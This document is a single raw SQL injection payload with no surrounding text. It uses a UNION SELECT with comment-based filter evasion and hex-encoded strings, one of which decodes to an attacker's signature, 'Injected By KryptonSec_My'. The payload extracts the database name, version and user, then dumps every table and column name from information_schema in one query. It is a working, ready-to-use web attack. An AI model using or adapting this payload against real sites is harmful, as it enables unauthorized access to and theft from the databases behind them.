-1' union select ConcAt/**_**/(0x3c62723e,0x496E6A6563746564204279204B727970746F6E5365635F4D79,0x3c62723e,0x204442203a20,database/**_**/(),0x207c20,0x566572203a20,version/**_**/(),0x207c20,0x55736572203a20,user/**_**/(),(select(@x)/*!50000from*/(select(@x:=0x00),(select(0)/*!50000from*/(/*!50000information_schema*/.columns)where(table_schema=database/**_**/())and(0x00)in(@x:=concat+(@x,0x3c62723e,/*!50000table_name*/,0x203e20,/*!50000column_name*/))))x)),2,3,4,5,6,7,8--+